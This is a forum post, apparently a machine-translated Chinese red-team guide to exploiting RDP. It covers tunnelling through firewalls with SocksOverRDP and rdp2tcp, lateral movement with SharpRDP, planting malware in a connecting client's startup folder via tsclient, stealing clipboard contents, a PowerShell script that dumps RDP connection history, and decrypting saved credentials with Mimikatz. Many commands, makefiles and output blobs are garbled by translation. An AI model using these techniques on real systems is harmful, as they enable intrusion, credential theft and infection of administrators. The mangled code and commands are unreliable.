H

红蓝对抗中 RDP 协议的利用

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%

红蓝对抗中 RDP 协议的利用​

1 SocksOverRDP​

1.1 工具介绍​

当将防火墙规则配置为:仅TCP/UDP 3389端口可以通信,可以使用RDP协议建立袜子通道。应用程序方案相对极端。
20210122100331.png-water_print

工具地址:https://github.com/nccgroup/socksoverrdp
该工具基于RDP协议实现袜子代理功能。就像SSH的-D参数一样,连接后,使用RDP协议实现代理函数。
该工具由两个部分组成:
.dll,需要在客户端上注册,并在每次运行时加载到远程桌面客户端的上下文运行环境中。
.exe,这是一个服务器端组件,需要复制到服务器并执行。无需安装,无需配置。
当.exe在远程桌面连接的服务器端执行时,它通过动态虚拟通道(RDP协议的功能)连接到客户端,并在客户端上启动袜子代理。该代理在127.0.0.1:1080上听,默认情况下可以在浏览器或工具中配置为代理。
信息
服务器上的程序不需要服务器端上的任何特殊特权,还允许低调的用户在连接上打开虚拟频道和代理。

1.2 工具测试​

1.2.1 客户端​

.dll需要放置在客户端计算机上的任何目录中。为了易于使用,可以将文件复制到%sysroot%\ system32 \或%sysroot%\ syswow64 \环境变量。
使用以下命令安装并注册DLL:
regsvr32.exe socksoverrdp-plugin.dll
解体:
regsvr32.exe /u socksoverrdp-plugin.dll
在RDP客户端中启动mstsc.exe时,您可以看到以下提示:
20210122102022.png-water_print

1.2.2 服务端​

直接执行:socksoverrdp-server.exe

2 RDP to TCP​

使用情况仍然是:由于防火墙设置,您只能连接到一个Windows Server的远程桌面。因此,如何使用此Windows Server作为跳板进入Intranet

2.1 工具介绍​

工具地址:https://github.com/v-e-o/rdp2tcp
工具原理:使用RDP虚拟通道函数到多路复用端口
可用功能:
向前TCP端口转发
反向TCP端口转发
处理标准输入/输出转发
Socks5代理

2.2 工具测试​

2.2.1 下载并编译rdp2tcp​

安装mingw-w64
apt-get安装mingw-w64
下载RDP2TCP
git克隆https://github.com/v-e-o/rdp2tcp.git
修改配置文件
RDP2TCP默认不支持编译64位EXE,因此您需要在此处修改配置文件,并添加配置信息以编译64位EXE
修改文件makefile,新内容如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
ALL:客户端服务器-MingW64
客户端:客户端/RDP2TCP
客户端/RDP2TCP:
制作-c客户端
#server-mingw32:服务器/rdp2tcp.exe
#服务器/RDP2TCP.EXE:
#make -c server -f makefile.mingw32
Server-MingW64:服务器/RDP2TCP64.EXE
服务器/RDP2TCP64.EXE:
make -c server -f makefile.mingw64
清洁:
使-c客户清洁
#make -c server -f makefile.mingw32清洁
make -c server -f makefile.mingw64清洁
使-c工具清洁
创建一个新的文件/server/makefile.mingw64,其中包含以下内容:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
bin=rdp2tcp64.exe
CC=I686-W64-MINGW32-GCC
cflags=-wall -g \ \
-d_win32_winnt=0x0501 \
-i ./常见
#-D_WIN32_WINNT=0x0501
#-D_WIN32_WINNT=0x0501 -ddebug
ldflags=-LWTSAPI32 -LWS2_32
objs=./common/iobuf.o \
./common/print.o \
./common/msgparser.o \
./common/nethelper.o \
./common/netaddr.o \
errors.o aio.o events.o \
tunnel.o channel.o process.o commands.o main.o
ALL: CLEAN_COMMON $(bin)
CLEAN_COMMON:
$(make)-c ./common清洁
$(bin): $(objs)
$(cc)-o $@ $(objs)$(ldflags)
%.O:%.c
$(CC)$(CFLAGS)-O $@ -C $
清洁:
RM -F $(objs)$(bin)
汇编
制作

2.2.2 使用 xfreerdp 连接远程桌面并建立通道​

执行XFREERDP并启用TCP重定向功能
/opt/freerdp-night/bin/xfreerdp/v3360ip3:3389/u:user/p:passwd/cert-ignore/rdp2tcp:/rdp2tcp/rot/rdp2tcp/rdp2tcp/rdp2tcp2tcp2tcp2tcp2tcp2tcp2tcp2
将RDP2TCP64.EXE上传到RDP服务器并执行(无需管理员许可)
在客户端系统上启动rdp2tcp.py
CD RDP2TCP/工具
python rdp2tcp.py
添加向前端口的命令(本地445-192.168.112.129:445)如下:
python rdp2tcp.py添加前锋127.0.0.1 445 192.168.112.129 445

3 利用 RDP 横向移动​

3.1 测试​

本节介绍了如何基于RDP协议水平移动,而无需浏览GUI客户端和袜子代理。
Windows下的MSTSCAX.DLL库可以执行任何RDP函数,此DLL是Microsoft终端服务的ActiveX COM库。通过利用此DLL,测试人员可以创建一个控制台应用程序,该应用程序通过RDP执行身份验证的远程命令,而无需GUI客户端或袜子代理。
执行钴罢工:
20210122111412.png-water_print

直接执行命令:
sharprdp.exe computername=dc01命令=calc username=rense \ indersance password=123456
有两种身份验证方法,一种是提供纯文本凭据(如上所述),另一个是使用限制的管理模型使用当前的用户上下文。限制管理模式是一种Windows保护机制,需要网络类型登录而不是交互式登录,即PTH。

3.2 场景​

有时在某些情况下,RDP是执行横向移动性技术的首选方法,但是使用传统的RDP客户端GUI可能很困难。因此,上述方法可用于在RDP协议中隐藏命令执行过程。
其次,您可以使用RDP水平移动,而无需系统本地管理特权,但在系统上具有RDP权限,并且可以使用Blood Hound收集信息。
20210122113325.png-water_print

4 RDP 挂盘反打​

使用磁盘监视+注入启动项目攻击

4.1 原理​

TSCLIENT是通过远程台式机连接到远程计算机的远程计算机中出现的机器名称,实际上将其分配给远程计算机到本地计算机的名称。
可以通过\\ tsclient \驱动器字母在远程计算机上访问该计算机。它的访问方法类似于使用SMB进行文件传输。尽管它本质上是SMB协议,但使用TSCLIENT不需要身份认证,因此您可以通过预制的手段直接使用TSCLIENT逆转感染。

4.2 利用​

一般来说,使用TSCLIENT的想法相对简单。它通过文件传输将恶意程序脚本写入用户的启动文件夹。当机器重新启动时,将执行恶意程序脚本。
工具:https://github.com/mdsecactivebreach/rdpinception/

4.3 限制条件​

MSTSC需要驱动器C驱动器,但默认情况下,MSTSC不启用磁盘共享。如图所示,必须手动打开它:
20210122113806.png-water_print

启用RDP远程访问时,只有登录用户才能访问TSCLIENT。其他用户无法访问,包括Runas。
尽管在实际环境中有很多限制,但许多操作和维护人员通常会安装磁盘,以方便操作。因此,此方法并非完全没有用,需要根据实际条件来判断。一个更粗鲁的想法:如果脚本无法找到已安装的磁盘,请直接结束rdpclip.exe,这使管理员无法使用剪贴板函数,从而迫使管理员直接重新安装磁盘操作而不知道原因。
最后,与使用计划的任务在上传文件后启动的SMB不同,由于未知感染的机器用户,只能通过依靠启动项目来启动它。因此,此攻击方法对服务器攻击的影响较弱。

5 剪切板利用方法​

除了使用文件传输外,您实际上还可以尝试使用剪贴板劫持来执行反向攻击。

5.1 剪切板窃取​

5.1.1 原理​

将MSTSC用于远程桌面时,将启动称为rdpclip.exe的过程。此过程的功能是同步服务器和客户端的剪贴板。
20210122114139.png-water_print

这个过程是一个非常有用的过程。如上所述,如果该过程直接终止,则在服务器上(远程计算机)上将某些数据复制到客户端(本地计算机)时,您会发现剪贴板无效并且无法复制。
由于剪贴板内容在启动过程时会自动同步,因此当目标机和其他机器使用MSTSC建立远程RDP连接时,您可以通过阅读rdplicp.exe进程数据来获得尽可能多的信息来执行剪贴板窃取。
此外,由于该过程是在后台运行的,因此管理员同时使用远程桌面将多个服务器记录到多个服务器并在其中一台服务器上执行复制和复制操作时,数据将同步到所有服务器的rdplicp.exe进程。

5.1.2 利用​

帝国中有一个get-clipboardContents.ps1,可以加载帝国或加州罢工。或者,您可以自己编写相关脚本。这是一个相对简单的工具。
但是,应该指出的是,与TSCLIENT类似,不可能在同一台计算机的不同用户之间读取,并且每个用户的rdplicp.exe是独立启动的。

5.2 剪切板传输恶意文件​

当我们使用MSTSC登录到服务器并按服务器上的复制操作时,将生成一系列操作。
20210122115716.png-water_print

5.2.1 原理​

使用远程桌面时,使用剪贴板传输文件的过程如下:
1。在服务器上,“复制”操作将以“ CF_HDROP”格式创建剪贴板数据
2。当在客户端计算机上执行“糊剂”时,将触发一系列事件。
3。需要服务器上的rdpclip.exe进程以提供剪贴板的内容,然后将其转换为FileGroupDescriptor(FGD)剪贴板格式
4。使用hdroptofgdConverter:Additemtofgd()函数将文件的元数据添加到描述符
5。完成后,将FGD BLOB发送到服务器上的RDP服务
6。服务器只是包装并将其发送给客户
7。客户将其解开并将其存储在自己的剪贴板中
8。“粘贴”事件将发送到当前窗口(例如,Explorer.exe)
9。过程事件并从剪贴板读取数据
10。通过RDP连接接收文件的内容

5.2.2 利用​

6 RDP Thief​

每次成功连接到远程主机时,RDP客户端将保存远程主机的名称(或IP地址)和用于登录的用户名。当您再次启动mstsc.exe时,您可以直接从列表中选择远程RDP服务器的名称,并且客户端已在登录的用户名中自动填充以在登录的用户名中。

6.1 获取连接历史记录​

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#。概要
该脚本将列出已登录的用户的RDP连接历史记录。

$ ALLUSER=Get -WmiObject -Class Win32_useraccount
foreach($ Alluser中的$用户)
{
$ regpath='注册表:HKEY_USER \'+$ user.sid+'\ software \ Microsoft \ Microsoft \终端服务器客户端\ Servers \ Servers \'
写入主持人'user:'$ user.name
写入主持人'sid:'$ user.sid
写入主持人'status:'$ user.status
尝试
{
$ querypath=dir $ regpath -name -eroraction停止
}
抓住
{
写入主持人“无RDP连接历史”
写入主席'---------------------------------------------------------------------------------------------------------
继续
}
foreach($ querypath中的$ name)
{
尝试
{
$ user=(get -itemproperty -path $ regpath $ name -eRRoraction stop).usernamehint
写入主持人'user:'$用户
写入主机'server:'$名称
}
抓住
{
写入主持人“无RDP连接历史”
}
}
写入主席'---------------------------------------------------------------------------------------------------------
}
20210122120352.png-water_print

6.2 破解 RDP 连接凭证​

破解RDP连接凭据的先决条件是,在连接到远程主机时,用户检查保存凭据。
查找本地凭据
dir /a%userProfile%\ appdata \ local \ microsoft \ resterentials \*
20210122120624.png-water_print

使用Mimikatz做到这一点
Mimikatz DPAPI:CRED /IN:C: \ USERS \ by \ appData \ local \ Microsoft \ vorterentials \ dfbe70a7e5cc19a398ebf1bf1b96859ce5d
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
斑点
Dwversion : 00000001-1
GuidProvider : {DF9D8CD0-1501-11D1-8C7A-00C04FC297EB}
dwmasterkeyversion : 00000001-1
GuidMasterkey : {FFC994A1-DE8D-4304-9416-31E587F7A8CA}
DWFLAGS : 20000000-536870912(系统;)
dwdescriptionLen : 00000030-48
SZDESCRIPTION :本地凭据数据
Algcrypt : 00006610-26128(Calg_aes_256)
Dwalgcryptlen : 00000100-256
DWSaltlen : 00000020-32
PBSALT : 00FED8CA7EC6D44585DD1FBD8B57E77B6AB0CF318EC52D52D52D09FD0694FFB89CCB
DWHMACKEYLEN : 00000000-0
PBHMACKKEY :
Alghash : 0000800E -32782(Calg_sha_512)
Dwalghashlen : 00000200-512
DWHMAC2Keylen : 00000020-32
PBHMACK2KEY : B49EF55F909FA503EDA37DDC797C83C99DF983920BFB4628E07AAC5CB32BBBBBBB530
DWDATALEN : 000000B0-176
PBDATA : 4083f8f501b999a35C4AAA57CE732BF52D30A6E604DAC5A91B6FD3E65660C52A52A52A536025C5126F0126F0D12B850444498 DEEF08A8688B3459F49514ED6AE46271A1CB4CD0E70845D9B6B6BECCBCBCBCBCBCBCBCBCBCBCBCBCBCBCBCBCBCB7C80B4F7810ADD87B755C4 8592FCBFBBFD94FA4EEEEE8004F8CF6D9619F4B9AF4B94C9F4C9EF0E8A2A2A5B0CD005638CFD114FEE4FEE4FEE4B735AC1 2EEF2C7E6A0364845EB0EE4B3AB121E33324F8D5AF48F342BD47A7A7A76E76E9E9E9E5A1A383E2222FFFFF8BF8BF851B6A2A
DWSignlen : 00000040-64
PBSIGN : 7C8DBE7991C6AF4D3BFC9F808790A0904738D0CA227BC27BC27BC27E26CBF06487DD2679E932B27EA0C0C0C0CBBBE590EEE643064306416416416057001B211B21578.88C88C88C2188.AR
您需要使用的接下来是GuidMasterKey和PBDATA数据。 PBDATA是凭证的加密数据,GuidMasterKey是凭据的指导
使用sekurlsa:dpapi
20210122120648.png-water_print

根据目标凭证GUID: {FFC994A1-DE8D-4304-9416-31E587F7AA8CA}查找其关联的大师关键
 
后退
顶部